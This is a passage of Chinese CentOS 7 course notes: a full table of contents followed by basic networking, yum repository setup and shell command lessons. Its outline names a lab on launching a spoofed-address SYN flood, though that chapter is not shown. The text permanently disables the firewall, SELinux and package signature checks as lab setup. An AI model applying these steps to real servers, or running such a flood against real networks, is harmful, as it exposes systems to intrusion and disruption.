CentOS 7 笔记

目录

 第一章 CentOS6与CentOS7

第二章 Linux基本操作

2.1 Linux网络相关概念和修改IP地址的方法

2.1.1 网卡的命名规则

2.1.2 ifconfig命令使用方法

2.1.3 临时修改IP地址

2.1.4 NeworkManager概述

2.1.5 RHEL/CENTOS Linux网络相关的配置文件

2.1.6 永久修改网卡地址

2.3 临时和永久关闭Selinux

2.4 设置系统光盘开机自动挂载

2.5 配置本地YUM源

 第三章 Linux基本命令操作

3.1 Linux终端介绍、Shell提示符、Bash基本语法

3.1.1 登录LINUX终端

3.1.2 认识SHELL

3.1.3 shell提示符“#”号与“$”号的区别

3.1.4 认识Bash Shell

3.2 基本命令操作

3.2.1 基本命令之--ls

3.2.2 别名的使用

3.2.3 基本命令之--cd

3.2.4 历史命令之history

3.2.5 Linux下快捷键

3.3 系统时间管理

3.3.1 两种时间

3.3.2 如何修改时间

3.3.3 使用time命令测试一个命令运行的时间

3.4 帮助命令使用

3.4.1 whatis

3.4.2 man 命令 :查看手册页或命令描述

3.4.3 使用-h或--help查看命令选项

3.4.4 pinfo

3.4.5 access.redhat.com

3.5 开关机命令及7个启动级别

3.5.1 关机命令之--shutdown

3.5.2 7个启动级别

3.5.3 设置默认的运行界别

第四章 文件的基本管理和XFS文件系统备份恢复

4.1 Linux系统目录结构和相对/绝对路径

4.1.1系统目录结构

4.2 文件的管理

4.2.1 创建文件和文件夹

4.2.2 使用vim和重定向创建一个新文件

4.2.3 命令之:mkdir

4.2.4 删除文件和目录

4.2.5 复制文件

4.2.6 移动文件

4.3 查看文件

4.3.1 命令之:cat

4.3.2 命令之:more

4.3.3 命令之:less

4.3.4 命令之:head

4.3.5 命令之:tail

4.4 实战:xfs文件系统的备份和恢复

4.4.1 环境准备

4.4.2 备份

4.4.3 文件系统恢复

4.4.4 增量备份

第五章 Vim编辑器和恢复ext4下误删除的文件

5.1 vim主要模式介绍,vim命令模式

5.1.1 vim编辑器模式

5.1.2 在命令模式下做的操作

5.1.3 V模式(列)

5.1.4 命令行模式操作

5.1.5 自定义vim使用环境

5.1.6 其它编辑器

5.1.7 实战1:在windows中编辑好的汉字文本文档,上传到Linux下打开乱码。

5.1.8 实战2:解决将公司Linux服务器上脚本导到windows上打开串行的问题

5.2 实战:在Centos6/RHEL6上恢复ext4文件系统下误删除的文件

5.2.1 实战:在ext4文件系统上恢复被误删除的文件

5.2.2 复制一些测试文件,然后把这些文件再删除,然后演示恢复

5.2.3 安装extundelet

5.2.4 开始恢复

 第六章 Centos7用户管理

6.1 用户账号

6.1.1 用户的分类

6.1.2 配置文件

6.2 用户管理

6.2.1 用户命令

6.2.2 添加登录用户

6.2.3 指定用户UID : -u 用户ID

 6.2.4 指定用户主目录

6.2.5 指定用户的主组

6.2.6 指定用户的附属组

6.2.7 创建用户的另外一个命令

6.2.8 删除用户

6.2.9 密码的文件

6.2.10 控制添加用户规则文件的两个文件:/etc/default/useradd 和 /etc/login.defs

6.2.11 修改用户信息

6.2.12解决模板文件被删之后显示不正常的问题

6.3 组管理

6.4实战:进入centos7 紧急模式恢复root密码

第七章 Centos7文件权限管理

7.1 文件的基本权限

7.1.1 权限的作用

7.1.2 查看权限

7.1.3 权限说明

7.1.4 文件拥有者

7.1.5 常见几种文件权限组成

7.1.6 更改文件的属主和属组

7.1.7 使用字符修改权限

7.1.8 使用八进制(0-7)数字表示权限法

7.1.9 权限对文件和目录的影响

7.1.10 补码

7.2 文件的特殊权限:suid sgid sticky和文件扩展权限ACL

7.2.1 文件的特殊权限:suid sgid sticky

7.2.2 文件扩展权限ACL

7.2.3 sudo提权

7.3实战:创建一个让root都无法删除的文件

第八章 Centos7软件包的管理与安装

8.1 软件包的管理

8.1.1 rpm软件包的管理

8.1.2 安装rpm软件

8.1.3 rpm查询功能

8.1.4 查看软件包内容是否被修改

8.1.5 rpm包卸载和升级

8.1.6 解决rpm依赖关系

8.1.7 解压rpm包:提取rpm包的文件

8.2 YUM的使用

8.2.1 配置本地yum源

8.2.2 网络yum源

8.2.3 yum使用

8.2.4 yum安装开发工具软件包组

8.2.5 创建私有yum源

8.2.6 模块流:更换软件本本比较方便

8.3 实战tar源码包管理-srpm源码包安装方法

8.3.1 源码安装nginx

8.3.2 删除源码包

8.3.3 实战2:源码编译出错的5个种完美解决方法

8.3.4 安装.src.rpm源码包的方法(了解)

第九章  文件的归档和压缩

9.1 tar命令进行文件的归档和压缩

9.1.1 归档和压缩文件

9.1.2 tar 归档+压缩

9.2 zip管理压缩文件

9.3 了解gzip-bzip2- xz管理压缩文件-file-sort查看文件

9.3.1 压缩工具

9.3.2 file查看文件

9.3.3 按一定规则排序查看文件

9.3.4 排序:处理大量数据时会用到的命令sort

第十章 Centos7系统进程管理

10.1 进程概述和ps管理进程

10.1.1 什么是进程?

10.1. 2 进程的属性

10.1.3 使用ps查看进程工具

10.2 uptime查看系统负载-top动态管理进程

10.2.1 uptime查看CPU负载工具

10.2.2 top命令

10.2.3 实战1:找出系统中使用CPU最多的进程

10.2.4 lsof命令

10.2.5 pstree工具使用

10.3 前后台进程切换- nice进程优先级-实战screen后台执行命令

10.3.1 Linux后台进程与前台进程的区别

10.3.2 进程的前台与后台运行

10.3.3 kill关闭进程

10.3.4 进程的优先级管理

10.3.5 实战:使用screen后台实时执行命令备份命令

10.3.6 screen概述和安装

10.3.7 screen使用方法

 第十一章 重定向和文件的查找

11.1 文件描述符定义

11.1.1 输入输出标准说明

11.2 重定向的含义-管道的使用-tee命令

11.2.1 输出重定向

11.2.2 输入重定向

11.2.3 EOF

11.2.4 错误重定向

11.2.5 null黑洞和zero空文件

11.2.6 &>和>&符号

11.2.7 管道 | 的使用

11.2.8 tee命令

11.3 which-whereis-locate-grep-find查找命令

11.3.1 which-whereis-locate-grep find命令使用

11.3.2 find命令使用(必会,参数比较多)

11.4 命令判断

11.4.1 用到的三个特殊符号: ; && ||

第十二章 硬盘介绍和磁盘管理

12.1 SAS-SATA-SSD-SCSI-IDE硬盘讲解

12.1.1 常见磁盘类型

12.1.2 当下流行的磁盘种类

12.2 磁盘分区工具和挂载

12.2.1 硬盘分区符认识

12.2.2 使用fdisk管理分区

12.2.3 gdisk 磁盘分区工具

12.3 实战扩展swap分区

12.3.1 先分个区

12.3.2 通过文件增加SWAP空间

第十三章 Linux文件系统结构

13.1 硬盘结构

13.1.1 硬盘结构

13.1.2 簇和block 

13.2 文件系统结构

13.2.1 文件名

13.2.2 inode的内容

13.2.3 inode的大小

13.2.4 目录文件

13.2.5 block块大小

13.3 文件的硬链接和软链接

13.3.1 Linux链接概

13.3.2 实战-1: ln命令创建硬链接

13.3.3 ln -s 创建软连接

13.3.4 inode的特殊作用

13.4 实战:解决磁盘有空间但创建不了文件-修复服务器文件系统

13.4.1 解决磁盘有空间但创建不了文件

第十四章 RAID磁盘阵列的原理与搭建

14.1 RAID概念

14.1.1 RAID几种常见的类型

14.1.2 RAID-0的工作原理

14.1.3 RAID-1

14.1.4 RAID-5

14.1.5 嵌套RAID级别

14.1.6 RAID硬盘失效处理

14.2 RAID-0-1-5-10搭建及使用-删除RAID及注意事项

14.2.1 RAID的实现方式

14.2.2 创建RAID0

14.2.3 创建RAID1

14.2.4 创建RAID5

14.2.4.1 创建RAID-5

14.2.4.2 停止MD5阵列

14.2.4.3 激活MD5阵列

14.2.4.4 扩展RAID5磁盘阵列

14.2.5 创建RAID10

14.2.6删除RAID所有信息及注意事项

14.3 实战:企业中硬件raid5的配置

第十五章 LVM管理和ssm存储管理器使用

15.1 LVM的工作原理

15.1.1 LVM常用的术语

15.1.2 LVM优点

15.2创建LVM的基本步骤

15.2.1 lvm常用的命令

15.2.2 创建并使用LVM逻辑卷 1、 创建PV

15.2.3 指定PE大小用

15.2.4 LV扩容

15.2.5 VG扩容

15.2.6 LVM缩小

15.2.7 LVM删除

15.3 实战-使用SSM工具为公司的邮件服务器创建可动态扩容的存储池

15.3.1 查看磁盘信息

15.3.2 实战:为公司的邮件服务器创建基于LVM的邮件存储

第十六章 Linux计划任务与日志的管理

16.1 计划任务-at-cron-计划任务使用方法

16.1.1 at计划任务的使用

16.1.2 查看和删除at将要执行的计划任务

16.1.3 crontab定时任务的使用

16.1.4 cron命令参数介绍

16.1.5 创建计划任务

16.1.6 系统级别的计划任务

16.1.7 实战-常见的计划任务写法和案例

16.2 日志的种类和记录的方式-自定义ssh服务日志类型和存储位置

16.2.1 常见日志文件的作用

16.2.2 日志的记录方式

16.2.3 rsyslog日志服务

16.2.4 日志输入的规则

16.2.5 实战-自定义ssh服务的日志类型和存储位置

16.3 实战-日志切割-搭建远程日志收集服务器

16.3.1 日志的切割

16.3.2 实战演示

16.3.3 实战-使用 logrotate 进行ssh日志分割

 16.3.4 配置远程日志服务器-实现日志集中的管理

16.4 实战-配置公司内网服务器每天定时自动开关机

16.4.1 定时关机

16.4.2 定时开机

第十七章 Linux系统启动原理及故障排除

17.1 centos6系统启动过程及相关配置文件

17.1.1 centos6系统启动过程

 17.1.2 centos6启动相关的配置文件        

17.2 centos7系统启动过程及相关配置文件

17.2.1 centos7系统启动过程

17.2.2 Systemd运行原理-了解一下

17.2.3 管理系统服务

17.2.4 运行级别

17.2.5 运行级别的切换

17.2.6 grub2和grub区别-了解

17.3 实战-加密grub防止黑客通过单用户系统破解root密码

17.3.1 基于centos6进行grub加密

17.3.2 基于centos7进行grub加密

17.4 实战-通过liveCD进入救援模式-重装grub修复损坏的系统

17.4.1 基于6版本系统进入救援模式

 17.4.2 实战-当MBR引导记录损坏后-重装grub进行修复

17.4.3 实战-在centOS7下误删除grub文件进行修复

第十八章 Linux网络管理技术

18.1 OSI七层模型和TCP/IP四层模型

18.1.1 OSI七层参考模型,TCP/IP四层参考模型

18.1.2 常见网络相关的协议

18.1.3 TCP和UDP 常用端口号名称

18.1.4 IP地址分类

18.2 linux网络相关的调试命令

18.2.1 查看网卡物理连接是否正常

18.2.2 修改网卡IP地址

18.2.3 查看端口的监听状态

18.2.4 配置DNS-路由相关信息

 18.3 实战-在局域网中使用 awl伪装MAC地址进行多线程SYN洪水攻击

18.3.1 tcp三次握手及tcp连接状态

18.3.2 实战:在局域网中使用 awl伪装IP地址进行多线程SYN洪水攻击

第十九章 shell脚本的基础

19.1 shell 基本语法

19.1.1 什么是shell?

19.1.2 编程语言分类

19.1.3 什么是SHELL脚本?

19.2 SHELL变量及运用

19.2.1 shell变量

19.2.2 用户定义变量

19.2.3 命令的替换,使用$()或反引号

19.2.4 命令的嵌套使用,使用$( $( ))

19.2.5 shell中单引号和双引号区别

19.2.6 环境变量

  19.2.7 设置PATH环境变量

19.2.8 shell位置变量

19.2.9 特殊变量

19.3 数学运算

19.3.1 expr命令

19.3.2 使用$(( ))

19.4 实战-升级系统中的java版本到1.8版本-为后期安装Hadoop集群做准备

19.4.1 安装jdk java运行环境

第二十章 条件测试语句和if流程控制语句的使用

20.1 read命令键盘读取变量的值

20.1.1 read常用见用法及参数

20.2 流程控制语句if

20.2.1 语法格式

20.2.2 双分支if语句

20.2.3 多分支if语句

20.3 test测试命令

20.3.1 数值比较

20.3.2 字符串比较

20.3.3 文件比较

20.4 流程控制过程中复杂条件和通配符

20.4.1 判断第一种:两个条件都为真或有一个为真就执行

20.4.2 shell中的通配符

20.5 实战-3个shell脚本实战

20.5.1 实战1:编写脚本检查服务器运行状态

20.5.2 实战2:根据学生的成绩判断 学生的优劣

20.5.3 实战3:每周一晚上3:00 ,备份数据库服务器上webdb库的所有数据到系统的/mysqlbak目录里,使用系统日期做备份文件名。

第二十一章 结构化命令case和for、while循环

21.1 流程控制语句:case

21.2 循环语句

21.2.1 for-do-done

21.3 while循环语句和循环嵌套

21.3.1 while-do-done

21.3.2 嵌套循环

21.4 实战-3个shell脚本实战

21.4.1 实战-将/opt目录下所有的日志文件全自动打包

21.4.2 实战-找出192.168.1.1-10网段中,服务器已经关机的IP地址

21.4.3 批量创建帐号并生成随机密码

第二十二章 跳出循环-shift参数左移-函数的使用

22.1 跳出循环

22.1.1 break和continue

22.2 Shift参数左移指令

22.3 函数的使用

22.3.1 函数创建语法

22.3.2 函数的使用

22.3.3 返回值

22.3.4 把函数值赋给变量使用

22.3.5 函数的参数传递

22.3.6 函数中变量的处理

22.4 实战-自动备份mysql数据库脚本和nginx服务启动脚本

22.4.1 自动备份mysql数据库脚本

22.4.2 nginx服务启动脚本

第二十三章 expect-正则表达式-sed-cut的使用

23.1 expect实现无交互登录

23.1.1 安装和使用expect

23.2 正则表达式的使用

23.2.1 Shell正则表达式的组成

23.3 sed流编辑器

23.3.1 sed strem editor 流编辑器

23.3.2 如何使用

23.3.3 sed选项|参数

23.4 cut命令

23.4.1 cut常用参数

23.4.2 cut命令可以将一串字符作为列来显示,字符字段的记法

23.5 实战-bash脚本语法检查和查看详细的执行过程

 第二十四章 shell中色彩处理和awk使用技巧

24.1 Shell中的色彩处理

24.2 awk基本应用

24.2.1 概念

24.2.2 实例演示

24.3 awk高级应用

24.4 实战-shell脚本实战

24.4.1 检查服务器是否受到DDOS攻击脚本


主讲人:学神IT-MK

 第一章 CentOS6与CentOS7

centos 6-与centos 7的区别:

文件系统的区别:ext4 xfs

硬盘默认调度算法不一样:cfq deadline

内核版本不一样:2.6 3.10

在7中,支持动态补丁机制kpatch,这个也是作为技术预览的,和btrfs文件系统一样

支持内核模块黑名单机制:modproble.blacklist=module

支持嵌套虚拟化技术,对虚拟机cpu更流畅

内核级支持资源调优和分配 在7中,以cgroup

在6中对usb2.0.在7中,usb3.0支持

lvm快照。在7中。qcow2格式文件型快照的支持

加强了对vmware的技术支持。自带open-vmtools替换了vm-tools

启动工具,在7中用的全新服务启动管理器systemctl ,在6中,做一些服务的启停用service

在7 中内核出现错误了。导出core文件最大支持3TB,6中最大支持2TB

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ 

第二章 Linux基本操作

2.1 Linux网络相关概念和修改IP地址的方法

2.1.1 网卡的命名规则

CENTOS6的网卡命名方式:它会根据情况有所改变而非唯一且固定,在CENTOS6之前,网络接口使用连续号码命名: eth0、 eth1等,当增加或删除网卡时,名称可能会发生变化

CENTOS7采用dmidecode采集命名方案,以此来得到主板信息;它可以实现网卡名字永久唯一化(dmidecode这个命令可以采集有关硬件方面的信息)

对网络设备的命名方式:

1)如果Firmware(固件)或BIOS为主板上集成的设备提供的索引信息可用,且可预测则根据此索引进行命名,例如: ifcfg-ens33 

2) 如果Firmware(固件)或BIOS为PCI-E扩展槽所提供的索引信息可用,且可预测,则根据此索引进行命名,例命名,例如:ifcfg-enp33

3)如果硬件接口的物理位置信息可用,则根据此信息进行命名,例如enp2s0

上述均不可用时,则使用传统命名机制。

扩展:

在CENTOS7中,en表示:ethernet以太网,就是咱们现在使用的局域网

enX(X常见有下面3种类型) :

o:主板板载网卡,集成设备的设备索引号。 如果

p:独立网卡,PCI网卡

s:热插拔网卡,usb之类,扩展槽的索引号

nnn (数字)表示:MAC地址+主板信息计算得出唯一的序列。

2.1.2 ifconfig命令使用方法

注意:下面操作使用root用户(动态修改)

命令:ifconfig

作用:用来配置网络或显示当前网络接口的状态

[root@localhost ~]# ifconfig 
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.63  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::c09d:975d:89cd:fd3f  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:02:83:db  txqueuelen 1000  (Ethernet)
        RX packets 3255  bytes 4458479 (4.2 MiB)
        RX errors 0  dropped 26  overruns 0  frame 0
        TX packets 1130  bytes 81645 (79.7 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
  • 上图信息大概说明:

第一行:up-->网卡开启状态

RUNNING-->网线处理连接状态

MULTICAST-->支持组播

mtu 1500-->(Maximum Transmission Unit)最大传输单元大小为1500字节

第二行:该网卡的IP地址,子网掩码,广播地址

第三行:IPV6的配置信息

第四行:网卡的MAC地址

ether表示连接类型为以太网

txqueuelen 1000 --》传输队列的长度

第五六行:网卡接收数据包的统计信息和接收错误的统计信息

第七八行:网卡发送数据包的统计信息和发送错误的统计信息

2.1.3 临时修改IP地址

方法1:临时修改网卡IP地址

ifconfig 网卡名称 IP地址 ---直接修改网卡的IP地址,重启失效

[root@localhost Desktop]# ifconfig ens33
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.63  netmask 255.255.255.0  broadcast 192.168.1.255
[root@localhost Desktop]# ifconfig ens33 192.168.1.110 netmask 255.255.255.0

说明:修改后当前终端会终断,需要重新使用新的IP地址进行连接

[root@localhost Desktop]# ifconfig ens33
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.110  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::20c:29ff:fee8:ac4  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:e8:0a:c4  txqueuelen 1000  (Ethernet)
        RX packets 2028  bytes 198715 (194.0 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 385  bytes 51073 (49.8 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
[root@localhost Desktop]# systemctl restart network     //CENTOS7的网卡重启方法
[root@localhost Desktop]# service network restart     //CENTOS6的网卡重启方法
[root@localhost Desktop]# ifconfig ens33
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.63  netmask 255.255.255.0  broadcast 192.168.1.255 

方法2: 添加多个临时IP地址

ifconfig 网卡名称:0 第一个IP地址 (netmask 子网掩码) ---增加一个IP

ifconfig 网卡名称:1 第二个IP地址 (netmask 子网掩码) ---增加一个IP

[root@localhost ~]# ifconfig ens33:0 192.168.1.110 netmask 255.255.255.0 up
[root@localhost ~]# ifconfig 
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.63  netmask 255.255.255.0  broadcast 192.168.1.255
    
ens33:0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.110  netmask 255.255.255.0  broadcast 192.168.1.255
        ether 00:0c:29:e8:0a:c4  txqueuelen 1000  (Ethernet)

删除临时IP

[root@localhost ~]# ifconfig ens33:0 del 192.168.1.110
[root@localhost ~]# ifconfig 
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.103  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::20c:29ff:fee8:ac4  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:e8:0a:c4  txqueuelen 1000  (Ethernet)
        RX packets 3056  bytes 311813 (304.5 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 961  bytes 145297 (141.8 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

ens33:1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.111  netmask 255.255.255.0  broadcast 192.168.1.255
        ether 00:0c:29:e8:0a:c4  txqueuelen 1000  (Ethernet)

2.1.4 NeworkManager概述

NeworkManager服务是管理和监控网络设置的守护进程,CENTOS7更加注重使用NetworkManager服务来实现网络的配置和管理,7.0以前是通过network服务管理网络,以后的版本,所有网络管理和设置统一由NetworkManager服务来维护。它是一个动态的,事件驱动的网络管理服务。

[root@localhost ~]# systemctl status NetworkManager  #查看networkmanager服务是是否启动

2.1.5 RHEL/CENTOS Linux网络相关的配置文件

RHEL/CENTOS 网络相关的配置文件路径为:

[root@localhost ~]# ls /etc/sysconfig/network-scripts/ifcfg-ens33   #IP地址,子网掩码等配置文件
[root@localhost ~]# ls /etc/sysconfig/network-scripts/ifcfg-lo  #网卡回环地址
[root@localhost sysconfig]# cat /etc/resolv.conf    #DNS配置文件
[root@localhost sysconfig]# cat /etc/hosts   #设置主机和IP绑定信息
[root@localhost sysconfig]# cat /etc/hostname   #设置主机名

2.1.6 永久修改网卡地址

方法1:使用nmtui文本框方式修改IP

[root@localhost Desktop]# nmtui

添加IP地址 

注:把光标移到最下面,点“确定”,进行保存。

重启网卡服务生效:

[root@localhost ~]# systemctl restart network   ---重启服务

方法2:通过修改网卡配置文件改IP地址

vim快捷键:

i : 进入插入模式

保存:先按esc键,再输入 :wq

[root@localhost ~]# vim /etc/sysconfig/network-scripts/ifcfg-ens33   
TYPE=Ethernet
BOOTPROTO=none     # 等号后面写:dhcp 表示动态获取IP地址,  static 表示静态IP,none表示不指定,以下就是静态。
DEFROUTE=yes
NAME=ens33   #网卡名
DEVICE=ens33
ONBOOT=yes
DNS1=8.8.8.8
DNS2=192.168.1.1
NETMASK=255.255.255.0
IPADDR=192.168.1.222
GATEWAY=192.168.1.1

参数说明:

DEVICE:此配置文件应用到的设备

HWADDR:对应的设备的MAC地址

BOOTPROTO:激活此设备时使用的地址配置协议,常用的dhcp, static, none,bootp

NM_CONTROLLED: NM是NetworkManager的简写,此网卡是否接受NM控制;建议CentOS6为“no”

ONBOOT:在系统引导时是否激活此设备

TYPE:接口类型;常见有的Ethernet, Bridge

UUID:设备的惟一标识

IPADDR:指明IP地址

NETMASK:子网掩码

GATEWAY: 默认网关

DNS1:第一个DNS服务器指向

DNS2:第二个DNS服务器指向

USERCTL:普通用户是否可控制此设备

IPV4_FAILURE_FATAL 如果为yes,则ipv4配置失败禁用设备

2.2 关闭防火墙并设置开机开不启动

查看当前状态

[root@localhost ~]# systemctl status firewalld.service #查看firewalld状态

[root@localhost ~]# systemctl stop firewalld #关闭

[root@localhost ~]# systemctl start firewalld #开启

[root@localhost ~]# systemctl disable firewalld #开机自动关闭 //RHLE7

[root@localhost ~]# chkconfig --list|grep network #查看开机是否启动 //RHLE6

[root@localhost ~]# systemctl enable firewalld #开机自动启动

2.3 临时和永久关闭Selinux

临时关闭
[root@localhost ~]# getenforce 
Enforcing
[root@localhost ~]# setenforce 0
setenforce: SELinux is disabled
永久关闭
[root@localhost ~]# vim /etc/selinux/config  
改:7 SELINUX=enforcing     #前面的7,表示文档中第7行。方便你查找
为:7 SELINUX=disabled
[root@localhost ~]# reboot

2.4 设置系统光盘开机自动挂载

[root@localhost ~]# vim  /etc/fstab  #在文档最后,添加以一下红色内容:
/dev/cdrom 			      /mnt			  iso9660 defaults        0 0
[root@localhost ~]# mount -a
mount: /dev/sr0 写保护,将以只读方式挂载
[root@localhost ~]# ls /mnt/   #可以查看到此目录下有内容,说明挂载成功
CentOS_BuildTag  GPL       LiveOS    RPM-GPG-KEY-CentOS-7

2.5 配置本地YUM源

yum的一切配置信息都储存在一个叫yum.repos.d的配置文件中,通常位于/etc/yum.repos.d目录下删除原有的文件

[root@localhost yum.repos.d]#rm -rf  /etc/yum.repos.d/*        #创建一个新的yum源配置文件,yum源配置文件的结尾必须是.repo
[root@localhost yum.repos.d]# vim  CentOS7.repo                #写入以下内容
[CentOS7]   
name=CentOS-server     
baseurl=file:///mnt    
gpgcheck=0

参数说明:

[CentOS7] --->yum的ID,必须唯一

name=CentOS-server ----->描述信息

baseurl=file:///mnt -------> /mnt表示的是光盘的挂载点 . file:后面有3个///

enabled=1 ------>启用

gpgcheck=0 ---->取消验证

清空并生成缓存列表

[root@localhost ~]# yum clean all				    #清空yum缓存
[root@localhost ~]# yum list						#生成缓存列表
验证一下
[root@localhost yum.repos.d]# yum -y install httpd

 ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

 第三章 Linux基本命令操作

3.1 Linux终端介绍、Shell提示符、Bash基本语法

3.1.1 登录LINUX终端

两种终端仿真器:1、GNOME桌面的GHOME Terminal ; 2、KDE桌面的Konsole Terminal

远程连接终端工具: Xshell , CRT 。后期会教你安装。

例1:通过tty命令看到当前所属的虚拟终端

[root@localhost ~]# tty
/dev/pts/0

注:shift+ctrl+N 快速打开一个终端。 终端字体放大: shift+ctrl+加号。终端字体缩小:ctrl+减号

例2:不同虚拟终端之间通讯

同时打开两终端,第一个终端执行:

 [root@localhost ~]# echo hello > /dev/pts/1

例3:对所有终端广播消息:系统10分钟后关机。

[root@localhost ~]# shutdown +10   #执行此命令后,在其他终端都会收到关机的消息
[root@localhost ~]# shutdown -c    #取消关机
或:
[root@localhost ~]# wall  " The system will be shut down in 10 minutes "   #广播,所有终端都能收到

3.1.2 认识SHELL

Shell俗称壳,它提供了用户与内核进行交互操作的一种接口,它接收用户输入的命令并把它送入内核去执行

Shell实际上是一个命令解释器,它通过解释用户输入的命令并把它传输给系统内核去执行。

Shell有自己的编程语言用于对命令的编辑,它允许用户编写由shell命令组成的程序。Shell编程语言具有普通编程语言的很多特点,比如它也有循环结构和分支控制结构等,用这种编程语言编写的Shell程序与其他应用程序具有同样的效果。

 内部命令:在系统启动时就调入内存,是常驻内存的,所以执行效率高

外部命令:是系统软件的功能,用户需要时才从硬盘中读入内存

如何区内外部命令?

使用type命令  ,语法 : type   要检测的命令

[root@localhost ~]# type cat
cat is /usr/bin/cat
[root@localhost ~]# type pwd
pwd is a shell builtin

总结: 通过SHELL,我们可以对LINUX实现哪些操作或管理:

例如:

对文件的管理(创建、删除、复制、修改)

1、对用户的管理(添加、删除)

2、相关权限的管理(授权用户对相关文件的管理,比如增删改查)

3、对磁盘的管理(分区、raid、lvm)

4、对软件的管理

5、对网络的管理

3.1.3 shell提示符“#”号与“$”号的区别

[root@localhost ~]#              #表示是root用户登录,管理员账号登陆
[root@localhost ~]# su - admin   #切换到admin普通用户
[admin@localhost ~]$		     #表示普通用户登录

上面各位置对应的内容代表的意思如下:

[root    @  localhost     ~                            ]#  
用户名---@---主机名---当前所在目录(~表示当前用户的家目录)---(# root/$普通用户)

3.1.4 认识Bash Shell

查看所有shell类型

[root@localhost ~]# cat /etc/shells 
/bin/sh
/bin/bash
/sbin/nologin
/usr/bin/sh
/usr/bin/bash
/usr/sbin/nologin
/bin/tcsh

具体你使用的是哪一个,取决于你的用户配置,也就是说你可以看一下/etc/passwd文件的每一行的最后一个字段

[root@localhost ~]# head  -1 /etc/passwd
root:x:0:0:root:/root:/bin/bash

3.2 基本命令操作

在LINUX中使用一个命令,命令格式如下:

命令 【选项】 【参数】

命令:具体执行的命令,比如pwd,head

选项:会影响到命令的一些形为操作,通常以- --实现

参数:命令作用的对象

3.2.1 基本命令之--ls

作用:查看当前目录下有哪些文件(list)

语法:ls 目录/文件 ,如果什么也不加,那么查看的是当前目录下的内容

常用选项:

命令后面不加任何选项

[root@localhost ~]# ls /date

-l 列出文件的详细信息,如创建者,创建时间,文件的读写权限列表等等,长列表

[root@localhost ~]# ls -l
总用量 8
-rw-------. 1 root root 1680 9月  19 12:16 anaconda-ks.cfg
-rw-r--r--. 1 root root 1728 9月  19 12:55 initial-setup-ks.cfg
drwxr-xr-x. 2 root root    6 9月  19 13:05 公共
drwxr-xr-x. 2 root root    6 9月  19 13:05 模板
drwxr-xr-x. 2 root root    6 9月  19 13:05 视频

第一个字符文件类型中:

d:目录文件

l:链接文件

b:块设备文件

c:字符设备文件

p:管道文件

-: 表示普通文件

为什么有的目录文件有不同的颜色呢?

linux系统中不同的颜色代表了不同的文件类型

颜 色

代表内容

举 例

蓝色

目录

/etc

黑色

文件

/etc/passwd

浅蓝色

链接

/etc/grub2.cfg

红色

压缩包

boot.tar.gz

绿色

可执行文件

/etc/init.d/network

黑底黄字

设备文件

/dev/sda

-a 列出目录下所有的文件,包括以“.“开头的隐藏文件(linux下隐藏文件是以 . 开头的,如果存在2个点代表存在着父目录,1个点表示当前目录)

[root@localhost ~]# ls -a
.                .bash_profile  .dbus                 .mozilla  视频  桌面

-d 查看目录(不查看里面的内容)

[root@localhost ~]# ls -ld /root/
dr-xr-x---. 15 root root 4096 11月 15 21:37 /root/

-S 以文件的大小进行排序

[root@localhost ~]# ls -lS /root/
总用量 8
-rw-r--r--. 1 root root 1728 9月  19 12:55 initial-setup-ks.cfg
-rw-------. 1 root root 1680 9月  19 12:16 anaconda-ks.cfg

 ls -l 和ll 这两个命令是等价的

[root@localhost ~]# ll /etc/passwd
-rw-r--r--. 1 root root 2053 9月  19 12:57 /etc/passwd
[root@localhost ~]# ls -l /etc/passwd
-rw-r--r--. 1 root root 2053 9月  19 12:57 /etc/passwd
[root@localhost ~]# type ll
ll is aliased to `ls -l --color=auto'

3.2.2 别名的使用

定义一个别名:

[root@localhost ~]# alias vimens33='vim /etc/sysconfig/network-scripts/ifcfg-ens33' 
[root@localhost ~]# vimens33
删除别名:
[root@localhost ~]# unalias vimens33

设置别名永久生效:

==》当前用户

[root@localhost ~]# vim /root/.bashrc  #插入以一下内容:
8 alias vimenss33="vim /etc/sysconfig/network-scripts/ifcfg-ens33"
[root@localhost ~]# source /root/.bashrc 
[root@localhost ~]# vimenss33

==》全局使用

[root@localhost ~]# vim /etc/bashrc   #在文件最后插入
alias vimenss33="vim /etc/sysconfig/network-scripts/ifcfg-ens33"
[root@localhost ~]# su - admin
上一次登录:四 11月 16 10:22:03 CST 2017pts/1 上
[admin@localhost ~]$ vim enss33

3.2.3 基本命令之--cd

作用:切换目录(change directory)

语法:cd 目录

说明:直接输入cd表示回到当前用户的宿主(家)目录

[root@localhost ~]# cd /etc/sysconfig/network-scripts/
[root@localhost network-scripts]# cd
[root@localhost ~]# cd ~

cd .. 表示返回到上级目录位置,也就是父目录

cd . 表示进入到当前目录

[root@localhost ~]# pwd
/root
[root@localhost ~]# cd ..
[root@localhost /]# pwd
/
[root@localhost /]# cd .
[root@localhost /]#

cd - #表示返回切换前的目录

[root@localhost /]# cd /etc/sysconfig/network-scripts/
[root@localhost network-scripts]# cd -
/

3.2.4 历史命令之history

命令:history

4个快速查找Linux历史命令的技巧:

方法1: 光标上下键

